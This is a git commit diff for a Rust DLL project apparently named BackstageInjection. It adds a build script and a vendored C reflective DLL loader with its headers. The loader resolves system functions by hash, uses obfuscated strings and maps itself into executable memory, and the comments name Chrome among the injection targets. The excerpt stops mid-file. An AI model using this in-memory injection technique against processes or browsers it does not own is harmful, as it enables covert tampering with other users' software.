ai made test 2 reflection

This commit is contained in:
KingKDot
2026-08-19 15:50:53 -05:00
parent 95fe6d18d8
commit c2d52be150
15 changed files with 1313 additions and 26 deletions
+3
View File
@@ -39,6 +39,9 @@ bin/
*.out *.out
*.dll *.dll
# Local BackstageInjection test harness (kept out of version control)
tools/hooktest/
# Certificates (auto-generated) # Certificates (auto-generated)
certs/ certs/
*.crt *.crt
+4 -3
View File
@@ -1,7 +1,8 @@
# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL # Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL
# dependency at runtime (Chrome and other targets may not have it preloaded). # dependency at runtime (Chrome and other targets may not have it preloaded).
[target.x86_64-pc-windows-msvc] #
rustflags = ["-C", "target-feature=+crt-static"] # Only the GNU target is supported: the reflective loader manually maps the
# image, and the MSVC CRT's TLS/CFG/stack-cookie machinery fast-fails
# (0xC0000409) under a manual map. See scripts/build-backstage-dll.{sh,bat}.
[target.x86_64-pc-windows-gnu] [target.x86_64-pc-windows-gnu]
rustflags = ["-C", "target-feature=+crt-static"] rustflags = ["-C", "target-feature=+crt-static"]
+1
View File
@@ -6,6 +6,7 @@ version = 4
name = "backstage-injection-rs" name = "backstage-injection-rs"
version = "0.1.0" version = "0.1.0"
dependencies = [ dependencies = [
"cc",
"minhook", "minhook",
] ]
+3
View File
@@ -10,6 +10,9 @@ crate-type = ["cdylib"]
[dependencies] [dependencies]
minhook = "0.9.0" minhook = "0.9.0"
[build-dependencies]
cc = "1"
[profile.release] [profile.release]
opt-level = 3 opt-level = 3
lto = true lto = true
+48
View File
@@ -0,0 +1,48 @@
//! Compiles the vendored Harmony Security reflective loader
//! (`reflective/ReflectiveLoader.c`, BSD-2-Clause, see file header) into the
//! cdylib so the DLL exports `ReflectiveLoader`. The position-independent
//! loader is intentionally kept in C: it is the exact loader the C reference
//! DLL uses and re-implementing it in Rust would be unnecessary risk.
use std::path::PathBuf;
fn main() {
let dir = PathBuf::from("reflective");
for f in [
"reflective/ReflectiveLoader.c",
"reflective/ReflectiveLoader.h",
"reflective/ReflectiveDLLInjection.h",
"reflective/obfstr.h",
] {
println!("cargo:rerun-if-changed={f}");
}
// Matches BackstageInjection.vcxproj (Release|x64): VIA_LOADREMOTELIBRARYR
// lets ReflectiveLoader accept a thread-routine parameter (the agent and
// child injenter pass NULL), and CUSTOM_DLLMAIN avoids emitting a second
// DllMain (the Rust cdylib exports its own).
let mut build = cc::Build::new();
build
.file("reflective/ReflectiveLoader.c")
.include(dir)
.opt_level(2)
.static_crt(true)
.cargo_metadata(false)
.define("WIN64", None)
.define("NDEBUG", None)
.define("_WINDOWS", None)
.define("_USRDLL", None)
.define("WIN_X64", None)
.define("REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR", None)
.define("REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN", None);
build.compile("reflective_loader");
// Force all members of the static lib into the DLL even though no Rust
// symbol references them; `ReflectiveLoader` carries __declspec(dllexport)
// and only becomes an export once its object file is actually linked.
println!(
"cargo:rustc-link-search=native={}",
std::env::var("OUT_DIR").unwrap_or_default()
);
println!("cargo:rustc-link-lib=static:+whole-archive=reflective_loader");
}
@@ -0,0 +1,51 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//
@@ -0,0 +1,562 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include "obfstr.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
// Store the parameter passed to ReflectiveLoader so DllMain can access it
LPVOID g_lpReflectiveParameter = NULL;
//===============================================================================================//
#ifdef _MSC_VER
#pragma intrinsic(_ReturnAddress)
#define RDI_NOINLINE __declspec(noinline)
#else
#define RDI_NOINLINE __attribute__((noinline))
#endif
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
RDI_NOINLINE ULONG_PTR caller(VOID)
{
#ifdef _MSC_VER
return (ULONG_PTR)_ReturnAddress();
#elif defined(__GNUC__) || defined(__clang__)
// For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
#else
return 0;
#endif
}
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
#ifdef WIN_X64
FARPROC pRtlAddFunctionTable = NULL;
#endif
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword(0x60);
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword(0x30);
#else WIN_ARM
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while (uiValueA)
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror((DWORD)uiValueC);
// normalize to uppercase if the madule name is in lowercase
if (*((BYTE*)uiValueB) >= 'a')
uiValueC += *((BYTE*)uiValueB) - 0x20;
else
uiValueC += *((BYTE*)uiValueB);
uiValueB++;
} while (--usCounter);
// compare the hash with that of kernel32.dll
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 3;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == LOADLIBRARYA_HASH)
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == GETPROCADDRESS_HASH)
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == VIRTUALALLOC_HASH)
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 1;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
break;
// get the next entry
uiValueA = DEREF(uiValueA);
}
#ifdef WIN_X64
// Resolve RtlAddFunctionTable so we can register exception unwind data.
// Without this, stack unwinding through our hook functions crashes browsers.
{
HMODULE hNtdll = (HMODULE)pLoadLibraryA(OBFS(_enc_ntdll_dll));
if (hNtdll)
pRtlAddFunctionTable = pGetProcAddress(hNtdll, OBFS(_enc_RtlAddFunctionTable));
}
#endif
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Guard against allocation failure (out-of-memory, ACG/CFG policy, etc.).
// Without this check, every subsequent write to uiBaseAddress would be a
// write through NULL — an access violation in the remote process.
if (!uiBaseAddress)
return 0;
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while (uiValueA--)
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
// uiValueB is the VA for this section
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
// uiValueC if the VA for this sections data
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while (uiValueD--)
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
// get the VA of the next section
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// itterate through all imports
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
// uiValueD = VA of the OriginalFirstThunk
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
// itterate through all imported functions, importing by ordinal if no name present
while (DEREF(uiValueA))
{
// sanity check uiValueD as some compilers only import by FirstThunk
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
// patch in the address for this imported function
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// get the VA of this functions import by name struct
uiValueB = (uiBaseAddress + DEREF(uiValueA));
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}
// get the next imported function
uiValueA += sizeof(ULONG_PTR);
if (uiValueD)
uiValueD += sizeof(ULONG_PTR);
}
// get the next import
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// check if their are any relocations present
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// and we itterate through all entries...
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
{
// uiValueA = the VA for this relocation block
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
// uiValueB = number of entries in this relocation block
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while (uiValueB--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
// flip the words to get the instruction as expected
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
// sanity chack we are processing a MOV instruction...
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)(dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
}
}
#endif
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof(IMAGE_RELOC);
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 5b: register exception function table (.pdata) with the OS.
// Reflective loading bypasses the normal loader which would do this via
// LdrpInsertDataTableEntry. Without registration, any exception that
// unwinds through our hook functions causes STATUS_ACCESS_VIOLATION.
#ifdef WIN_X64
if (pRtlAddFunctionTable)
{
PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION)
{
PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
if (pExcDir->VirtualAddress && pExcDir->Size)
{
typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64);
((RTLADDFNTABLE)pRtlAddFunctionTable)(
(PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress),
pExcDir->Size / sizeof(RUNTIME_FUNCTION),
(DWORD64)uiBaseAddress
);
}
}
}
#endif
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
// Guard against pNtFlushInstructionCache being NULL (e.g. if ntdll was not found in the PEB module list).
if (pNtFlushInstructionCache)
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// Store the parameter globally so DllMain can access it
g_lpReflectiveParameter = lpParameter;
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//
@@ -0,0 +1,215 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
